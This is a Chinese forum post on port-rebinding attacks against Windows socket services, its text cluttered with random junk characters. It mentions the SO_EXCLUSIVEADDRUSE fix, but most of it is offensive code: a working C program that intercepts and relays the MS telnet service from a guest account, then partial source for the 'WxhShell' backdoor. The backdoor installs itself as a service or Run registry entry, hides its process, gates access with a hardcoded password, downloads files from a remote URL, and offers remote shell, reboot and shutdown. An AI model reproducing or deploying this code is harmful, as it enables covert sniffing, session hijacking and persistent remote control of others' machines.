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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `7N[rs9|S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q>Q$BCD5  
\" .3x PkE  
  saddr.sin_family = AF_INET; a_x|PbD  
RqcX_x(p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gCwg ;c-  
Z,u:g c+*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M>T#MDK\(  
2I>CA [qp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %W`pTvF  
x%x[5.CT  
  这意味着什么?意味着可以进行如下的攻击: 40q8,M  
U 2\{ ( y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bLNQ%=FjO  
2V F|T'h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TH6g:YP`7  
KUuwScb\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k ( R  
-M[5K/[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k`TEA?RfQ  
eKLxNw5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 t0?BU~f  
 -JUv'fk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0]NsT0M  
UGR5ILf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b/S4b  
^M?uv{354  
  #include KN+*_L-  
  #include TXy*-<#vR  
  #include eUBk^C]\  
  #include    6=  9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]vu' +F$  
  int main() ;%U`lE0  
  { T]E$H, p  
  WORD wVersionRequested; qtgj"4,:`  
  DWORD ret; LW,!B.`@  
  WSADATA wsaData; m'429E]\S  
  BOOL val; k,q` ^E8k  
  SOCKADDR_IN saddr; O gycP4z[  
  SOCKADDR_IN scaddr; WddU|-W  
  int err;  NU_VUd2  
  SOCKET s; Q$RP2&  
  SOCKET sc; h!)(R<  
  int caddsize; %7V?7BE  
  HANDLE mt; jP}N^  
  DWORD tid;   R\X=Vg  
  wVersionRequested = MAKEWORD( 2, 2 ); Dy8Go4  
  err = WSAStartup( wVersionRequested, &wsaData ); Z"E+ TX  
  if ( err != 0 ) { 2Jj`7VH>  
  printf("error!WSAStartup failed!\n"); N*o+m~:y  
  return -1; &O!d!Pf  
  } u,'c:RMV  
  saddr.sin_family = AF_INET; flmcY7ZV  
   TYLf..i<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 orL7y&w(v:  
wBmbn=>#S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  ExnszFX*  
  saddr.sin_port = htons(23); 1lx\Pz@ol  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _ k>j?j-  
  { /?by4v73P  
  printf("error!socket failed!\n"); 1bvL  
  return -1; 9`vse>,-hg  
  } 2@A7i<p  
  val = TRUE; ;N4mR6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wV(_=LF  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n}._Nb 5  
  { (r7~ccy4  
  printf("error!setsockopt failed!\n"); cLB"<mG  
  return -1; $x`U)pv  
  } XvdK;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g=Qj9Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '9RHwKu&s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ozGK -$  
VT0I1KQx.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tM !1oWH  
  { I *}:C  
  ret=GetLastError(); w#"c5w~  
  printf("error!bind failed!\n"); [% 3{mAd  
  return -1; ,cj34W`FWq  
  } {qh`8  
  listen(s,2); LfK <%(:  
  while(1) e4?}#6RF  
  { z{AfR2L  
  caddsize = sizeof(scaddr); JbG+ysn  
  //接受连接请求 [%bshaY:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); gE8>5_R|  
  if(sc!=INVALID_SOCKET) vO"AJ`_  
  { ]bX.w/=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O-:~6A  
  if(mt==NULL) /S|Pq!4<  
  { W]reQ&<Z  
  printf("Thread Creat Failed!\n"); eBBh/=Zc  
  break; lYq R6^  
  } "_5av!;A g  
  } BeplS  
  CloseHandle(mt); )~!Gs/w6  
  } <hS >L1ZSr  
  closesocket(s); 9BHl 2<&V  
  WSACleanup(); @3b0hi4  
  return 0; uT;9xV%ch  
  }   \N;s@j W  
  DWORD WINAPI ClientThread(LPVOID lpParam) TrHBbyqk  
  { eaCEZHr$  
  SOCKET ss = (SOCKET)lpParam; hp[8.Z$7  
  SOCKET sc; k.0$~juu  
  unsigned char buf[4096]; HgG"9WBe%  
  SOCKADDR_IN saddr; GKm)wOb(*S  
  long num; *a\1*Jk  
  DWORD val; )%UO@4  
  DWORD ret; 9#pl BtQ**  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6IeHZ)jGj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~Uga=&  
  saddr.sin_family = AF_INET; v bh\uv&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /A{znE  
  saddr.sin_port = htons(23); !o> /gI`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o'Po<I  
  { 4UG7{[!+  
  printf("error!socket failed!\n"); o3%+FWrVTS  
  return -1; Fet>KacTht  
  } o2Z# 5-  
  val = 100;  E#ti  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m-ZVlj  
  { fq\E$'o$  
  ret = GetLastError(); $g#%  
  return -1; &4p:2,|r9  
  } {t9'8R3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @'~v~3 $S  
  { @XB/9!  
  ret = GetLastError(); B&<Z#C:I  
  return -1; 8<IO X  
  } {wCQ#V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;Wb W\,P'  
  { t[0gN:s  
  printf("error!socket connect failed!\n"); pGUrYik4  
  closesocket(sc); C2bN<K  
  closesocket(ss); W!+5}\?  
  return -1; z) Bc91A  
  } =[vT=sHz7  
  while(1) Q- j+#NGc  
  { -,}f6*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +ZXk0sP_<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 VxaJ[s3PQ&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kM@8RAxA  
  num = recv(ss,buf,4096,0); 8'/vW~f  
  if(num>0) K]Ed-Tz8QZ  
  send(sc,buf,num,0); * 496"kU  
  else if(num==0) $40tAes9  
  break; kg9ZSkJr  
  num = recv(sc,buf,4096,0); |P~TZ  
  if(num>0) Z>M0[DJ_  
  send(ss,buf,num,0); 8CwgV  
  else if(num==0) F8/4PB8-  
  break; Q>= :$I  
  } 8"RX~Igf  
  closesocket(ss); APy&~`  
  closesocket(sc); h<.&,6R  
  return 0 ; M%yT?R+  
  } :C>slxY  
D0tI  
1 ^Ci$ra  
========================================================== E3sl"d;~  
X_O(j!h  
下边附上一个代码,,WXhSHELL 1j3mTP  
v(]\o;/O  
========================================================== '}]w=2Lf  
mI?AI7DqK  
#include "stdafx.h" ZShRE"`  
t"JfqD E  
#include <stdio.h> yj"+!g  
#include <string.h> 8@Y]dz gjj  
#include <windows.h> jD'\\jAUdm  
#include <winsock2.h> 2Vt iL^;5  
#include <winsvc.h> rS8/_'  
#include <urlmon.h> !V#(g./W  
U")bvUIL  
#pragma comment (lib, "Ws2_32.lib") MhWmY[  
#pragma comment (lib, "urlmon.lib") aJK8G,Vk  
jh2D 9h  
#define MAX_USER   100 // 最大客户端连接数 ')+'m1N  
#define BUF_SOCK   200 // sock buffer B]0`b1t  
#define KEY_BUFF   255 // 输入 buffer zc\e$M O  
c9r, <TR9  
#define REBOOT     0   // 重启 3Sf <oYF  
#define SHUTDOWN   1   // 关机 `A3"*,|z  
Kcl>uAgU  
#define DEF_PORT   5000 // 监听端口 l]^uVOX  
k G4v>  
#define REG_LEN     16   // 注册表键长度 Pr<.ld\  
#define SVC_LEN     80   // NT服务名长度 EL5gMs  
$x#Y\dpS  
// 从dll定义API `a98+x?JF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7_ZfV? .  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /vBOf;L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,o*x\jrGw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [f&ja[m q  
~UEft  
// wxhshell配置信息 ^4h/6^b0c  
struct WSCFG { <jY"+@rF  
  int ws_port;         // 监听端口 0a ZplE,  
  char ws_passstr[REG_LEN]; // 口令 ggXg4~WL  
  int ws_autoins;       // 安装标记, 1=yes 0=no z3[ J>  
  char ws_regname[REG_LEN]; // 注册表键名 m ['UV2  
  char ws_svcname[REG_LEN]; // 服务名 \Om.pOz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yiWBIJ2Wu9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r` HtN{6r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ezgP\ct  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ][I}yOD70  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dzKI?i)x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x9p,j  
>01&3-r  
}; w0q.cj@nd  
xOt%H\*k"  
// default Wxhshell configuration AKzhal!  
struct WSCFG wscfg={DEF_PORT, :Fm;0R@/k  
    "xuhuanlingzhe", N/4`afiV.  
    1, )t0Y-),vA  
    "Wxhshell", H?m9HBDpn  
    "Wxhshell", 4&Y{kNF  
            "WxhShell Service", OB.TAoH:  
    "Wrsky Windows CmdShell Service", V\5ZRLawP  
    "Please Input Your Password: ", >TK:&V  
  1, Po~{Mpe  
  "http://www.wrsky.com/wxhshell.exe", [AstD9  
  "Wxhshell.exe" x\z* iv  
    }; )*}2L_5]  
{ZP0%MD  
// 消息定义模块 _a|-_p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; airg[dK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p6VS<L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zi<Y?Vm/,O  
char *msg_ws_ext="\n\rExit."; e* {'A  
char *msg_ws_end="\n\rQuit."; "j#;MOK  
char *msg_ws_boot="\n\rReboot..."; j *B,b4  
char *msg_ws_poff="\n\rShutdown..."; gY9HEfB  
char *msg_ws_down="\n\rSave to "; &FHzd/  
8b\XC%k  
char *msg_ws_err="\n\rErr!"; /@h)IuW  
char *msg_ws_ok="\n\rOK!"; `@!4#3H  
5 Sm9m*/  
char ExeFile[MAX_PATH]; c5Fl:=h  
int nUser = 0; >NwS0j$j@  
HANDLE handles[MAX_USER]; uQk}  
int OsIsNt; lgWEB3f .  
{]-AuC2E/0  
SERVICE_STATUS       serviceStatus; ' 5`w5swbc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E}LYO:  
T?B753I  
// 函数声明 XRA RgWj  
int Install(void); -9W)|toWb"  
int Uninstall(void); O~D>F*_^j  
int DownloadFile(char *sURL, SOCKET wsh); YGFE(t;lPU  
int Boot(int flag); 2NMS '"8  
void HideProc(void); g-)izPX  
int GetOsVer(void); @#m@ .   
int Wxhshell(SOCKET wsl); )nE=H,U?y  
void TalkWithClient(void *cs); v o<'7,  
int CmdShell(SOCKET sock); ;:nx6wi  
int StartFromService(void); O1]L4V1iH  
int StartWxhshell(LPSTR lpCmdLine); 1X. E:  
QfPsF@+-`7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P`^3-X/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T)4pLN E  
CNP!v\D  
// 数据结构和表定义 [[ {L#  
SERVICE_TABLE_ENTRY DispatchTable[] = t,H=;U#  
{ jMFLd  
{wscfg.ws_svcname, NTServiceMain}, G)5R iRcs  
{NULL, NULL} sKD sps^$  
}; W@S>#3,  
X^Dklqqy  
// 自我安装 nSR7$yS_  
int Install(void) 9=RfGx  
{ A:Y ([  
  char svExeFile[MAX_PATH]; XM?>#^nC?u  
  HKEY key; P?WS=w*O0  
  strcpy(svExeFile,ExeFile); .t53+<A  
-(~OzRfYi  
// 如果是win9x系统,修改注册表设为自启动 [ {@0/5i  
if(!OsIsNt) { )c432).Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9W5~I9%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uUmkk  
  RegCloseKey(key); L F<{/c9,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { my1FW,3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iG+hj:5  
  RegCloseKey(key); k9Pwf"m|](  
  return 0; gs/ i%O  
    } Vd%%lv{v  
  } ~F; ~  
} dbVMG-z8  
else { ou V%*<Ki  
B=!&rKF  
// 如果是NT以上系统,安装为系统服务 % )o'9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IZ2(F,{o  
if (schSCManager!=0) YL[n85l>1  
{ ?F=^& v8  
  SC_HANDLE schService = CreateService -/)>DOgUq  
  ( H<N$z 3k  
  schSCManager, 9szUN;:ZZ  
  wscfg.ws_svcname, v^A4%e<8^r  
  wscfg.ws_svcdisp, Sao4MkSz[]  
  SERVICE_ALL_ACCESS, (Mzv"FN]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E!Ljq3iT`  
  SERVICE_AUTO_START, Q3h_4{w  
  SERVICE_ERROR_NORMAL, .R";2f3  
  svExeFile, ~9ZW~z'  
  NULL, "/ 9EUbca  
  NULL, Q vc$D{z  
  NULL, 3fBV SFVS  
  NULL, *Rx&#9  
  NULL -/w#f&Y+]8  
  ); uT :Yh6  
  if (schService!=0) xa"8"8  
  { ~6nY5  
  CloseServiceHandle(schService); azBYh*s=5{  
  CloseServiceHandle(schSCManager); .dwy+BzS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e #!YdXSx  
  strcat(svExeFile,wscfg.ws_svcname); GBg~NkC7.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f$y`tT %o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 70Z#Ej  
  RegCloseKey(key); /BN_K8nb`  
  return 0; ! )x2   
    } W[VbFsI&b  
  } }w_r(g?\  
  CloseServiceHandle(schSCManager); U\'HB.P\  
} fV(WUN+  
} n Y)H-u^  
7$ze RYD+  
return 1; #Ch*a.tI@  
} ~vPR9\e  
{3LAK[ C  
// 自我卸载 [C-4*qOaa2  
int Uninstall(void)  |43dyJW  
{ z?3t^UPW  
  HKEY key; :HiAjaA1pg  
9\ulS2d  
if(!OsIsNt) { d!P3<:+R[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7ciSIJ  
  RegDeleteValue(key,wscfg.ws_regname); ;}>g/lw  
  RegCloseKey(key); wJAJ /  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *DUP$@}k  
  RegDeleteValue(key,wscfg.ws_regname); =:"wU  
  RegCloseKey(key); gVscdg5  
  return 0; je#OV,uHM  
  } !E@4^A80\W  
} UURYK~$K:  
} v? Ufx  
else { }mdk+IEt  
,'Sj:l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '_~qAx@F#c  
if (schSCManager!=0) "h`oT4j5q  
{ Kj{(jT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hy~+|hLvh  
  if (schService!=0) Rt+ak}  
  { @,^c?v  
  if(DeleteService(schService)!=0) { V1-URC24vd  
  CloseServiceHandle(schService); N|5fkx<d^  
  CloseServiceHandle(schSCManager); CqVeR';2  
  return 0; ks|c'XQb  
  } JYw_Z*L=m  
  CloseServiceHandle(schService); b4?]/Uy+/  
  } ^:cc3wt'3[  
  CloseServiceHandle(schSCManager); I<+i87=  
} EA``G8Vn>  
} +bDBc?HZ{$  
uvMc B9  
return 1; ZJf:a}=h  
} Z#NEa.]  
dTrz7ayH  
// 从指定url下载文件 [,0[\NC  
int DownloadFile(char *sURL, SOCKET wsh)  DJJd_  
{ MXa(Oi2Gg  
  HRESULT hr; j;yKL-ycB  
char seps[]= "/"; p>=i'~lQ6  
char *token; v$)ZoM6E  
char *file; :B7dxE9[r  
char myURL[MAX_PATH]; L/c`t7  
char myFILE[MAX_PATH]; /6{P ?)]pE  
vq` M]1]FO  
strcpy(myURL,sURL); +(U;+6 b  
  token=strtok(myURL,seps); csjCXT=Ve  
  while(token!=NULL) +4g H=6  
  {  NIh?2w"\  
    file=token; S Rb-eDk'  
  token=strtok(NULL,seps); ,^1B"#0{C<  
  } PJF1+I.%c#  
:*I=' M9B  
GetCurrentDirectory(MAX_PATH,myFILE); q@&6&cd  
strcat(myFILE, "\\"); -T=sY/O  
strcat(myFILE, file); 91\Sb:>  
  send(wsh,myFILE,strlen(myFILE),0); oJ.5! Kg  
send(wsh,"...",3,0); +mRc8G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nKnQ%R  
  if(hr==S_OK) jB"IJ$cD  
return 0; JKTn  
else w| eVl{~p  
return 1; 1k0*WCfZ  
:|a$[g5  
} cH:9@>'$a  
Qf($F,)K  
// 系统电源模块 gwyX%9  
int Boot(int flag) @j<Q2z^  
{ BZOB\Ym  
  HANDLE hToken; lx{ ' bzv  
  TOKEN_PRIVILEGES tkp; c5(4rT{(m  
k+@,m\tE  
  if(OsIsNt) { 8J)Kn4jq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZJ8"5RW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }eAV8LU  
    tkp.PrivilegeCount = 1; 25Uw\rKeO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ER,!`C]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vji:,k=3\  
if(flag==REBOOT) { N c(f+8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \7PC2IsT3  
  return 0; -&EU#Wqh  
} A5E^1j}h@  
else { P%aNbMg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?*^HZ~O1  
  return 0; 37 b6w6{D  
} 5t,X;  
  } i`}!<{k  
  else { v^dQ%+}7>  
if(flag==REBOOT) { jG`,k*eUrJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Bn{i+8I  
  return 0; wx8Qz,Z  
} &!F"3bD0  
else { WH_ W:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i ?%_P u  
  return 0; watTV\b  
} Vg~10Q  
} '{w[).c.  
N u3B02D*  
return 1; ?vP6~$*B  
} "*LQr~k~}  
y!c<P,Lt3f  
// win9x进程隐藏模块 '#a;n  
void HideProc(void) &$heW,  
{ [jR >.H'  
0Ibe~!EiQJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q"i]&dMr  
  if ( hKernel != NULL ) VCzb[.  
  { G 2`hEX%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3 MCV?"0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $ {e5Ka  
    FreeLibrary(hKernel); hmB`+?,z*  
  } @<3kj R?j  
twhT6wz"  
return; PqMu2 e  
} 7+;.Q  
M8R/a[ -A  
// 获取操作系统版本 "R\D:Olb#  
int GetOsVer(void) ,3 [FD9  
{ 2UG>(R:  
  OSVERSIONINFO winfo; #&b<D2d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cTQ._|M  
  GetVersionEx(&winfo); ITy/h]0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?pWda<&  
  return 1; [A'e7Do%'  
  else j\HZ5  
  return 0; #^tnRfS"  
} %]1te*_  
|]~],  
// 客户端句柄模块 mQ9y{}t=4  
int Wxhshell(SOCKET wsl) LrT? ]o  
{ ZH<qidpR  
  SOCKET wsh; F:sUGM,  
  struct sockaddr_in client; {e5-  
  DWORD myID; Jn%Etz-  
e8M0Lz#}  
  while(nUser<MAX_USER) DVt^O [  
{ D`fIw` _  
  int nSize=sizeof(client); D!8v$(#hR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Uz=o l.E  
  if(wsh==INVALID_SOCKET) return 1; 22*~CIh~x  
J!}\v=Rn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~iPXn1  
if(handles[nUser]==0) T7|=`~  
  closesocket(wsh); E#Ol{6  
else Y$#6%`*#>n  
  nUser++; O^q~dda  
  } T*g}^TEh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %)Z,?DzZ  
Res4;C  
  return 0; 5j v*C]z  
} %f?Zg44  
??P %.  
// 关闭 socket _4T7Vg''  
void CloseIt(SOCKET wsh) KAi_+/]K_  
{ =sso )/3  
closesocket(wsh); 1SH]$V4C  
nUser--; Yr\quinLL  
ExitThread(0); #.vp \W  
} E:-~SH}  
S|T_<FCY  
// 客户端请求句柄 w}s5=>QG%  
void TalkWithClient(void *cs) x|gYxZ  
{ %{Obh j;c  
]E)D})r`#  
  SOCKET wsh=(SOCKET)cs; NZO86y/  
  char pwd[SVC_LEN]; ac6@E4 _  
  char cmd[KEY_BUFF]; f\r"7j  
char chr[1]; =:t<!dp  
int i,j; noLr185  
}57Jn5&'  
  while (nUser < MAX_USER) { b|*+!v:I>T  
aPRMpY-YC3  
if(wscfg.ws_passstr) { / U!xh3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^Nu j/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KEdqA/F>  
  //ZeroMemory(pwd,KEY_BUFF); 7H|0.  
      i=0; 4l>U13~#  
  while(i<SVC_LEN) { Z|fi$2k0!  
^*+j7A.n  
  // 设置超时 EPA 2_  
  fd_set FdRead; mwMu1#  
  struct timeval TimeOut; 4`Zo Ar-5|  
  FD_ZERO(&FdRead); WJI}~/z;C  
  FD_SET(wsh,&FdRead); )L7[;(gQ  
  TimeOut.tv_sec=8; @ 'c(q=K;  
  TimeOut.tv_usec=0; 2jlz#Sk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;$8ptB.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -d thY(8  
]o8yZ x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fqBz"l>5A  
  pwd=chr[0]; (XlvPcTi  
  if(chr[0]==0xd || chr[0]==0xa) { HH0ck(u_A*  
  pwd=0; /0!.u[t)~  
  break; zqURnsJ  
  } ).0p\.W~  
  i++; K7C!ZXw~  
    } K4o']{:U  
SrGJ#K&%  
  // 如果是非法用户,关闭 socket L,!\PV|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >FS%-eI6  
} Ups0Xg&{  
e z_c;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6, |>;,U7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t~)4f.F:  
nE?:nJ|%E  
while(1) { WncHgz  
f,|;eF-Z  
  ZeroMemory(cmd,KEY_BUFF); Y^C(<N$  
2 E?]!9T~|  
      // 自动支持客户端 telnet标准   s];0-65)  
  j=0; _00}O+GLM4  
  while(j<KEY_BUFF) { [mNum3e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !vVW8hbp  
  cmd[j]=chr[0]; IWm@pfC+g  
  if(chr[0]==0xa || chr[0]==0xd) { h~qv_)F_  
  cmd[j]=0; [w-Tf&  
  break; {<a)+S.6U  
  } sva-Sd8  
  j++; /reGT!u  
    } \){_\{&  
dcTZL$  
  // 下载文件 #xq3 )B  
  if(strstr(cmd,"http://")) { VKfpk^rU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1 <m.Q*  
  if(DownloadFile(cmd,wsh)) TaaCl#g$?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3sIdwY)ZS_  
  else '4D7:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *3OlWnZ?  
  } |'uBkL0q  
  else { ueg%D +u  
#T8jHnI  
    switch(cmd[0]) { 7h2/8YUgQ  
  m:Rm(ga9  
  // 帮助 f:y:: z  
  case '?': { GT80k]e.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "=KFag  
    break; 9YB?wh'S[  
  } t-n'I/^5  
  // 安装 c6=XJvz  
  case 'i': { 3]@wa!`  
    if(Install()) U3-MvI,Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9i lJ  
    else 8e ?9:VM]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +2k{y l  
    break; f}KV4'n  
    } Hw toa,  
  // 卸载 |/c-~|%  
  case 'r': { C-@M|K9A'  
    if(Uninstall()) @[`]w`9Q7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;49sou  
    else m6H+4@Z-;(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @MoCEtt  
    break; :cIPX%S  
    } |}:q@]dC#  
  // 显示 wxhshell 所在路径 !6sR|c"~j  
  case 'p': { O'xp"e,  
    char svExeFile[MAX_PATH]; Os]. IL$  
    strcpy(svExeFile,"\n\r"); 44w "U%+  
      strcat(svExeFile,ExeFile); ;% i-:<ac  
        send(wsh,svExeFile,strlen(svExeFile),0); 0LP0q9S:9  
    break; EP<{3f y  
    } ?B)e8i<[f  
  // 重启 {zc*yV\  
  case 'b': { 0F6@aQ\y3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |Q@(<'8=  
    if(Boot(REBOOT)) ftRdK>a D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Lb(N61  
    else { /UY'E<wBx  
    closesocket(wsh); BT^=p  
    ExitThread(0); V\Y, 4&bI  
    } UF\k0oLz  
    break; EM1HwapD  
    } h/y0Q~|/d  
  // 关机 {w,<igh  
  case 'd': { 7|bBC+;(  
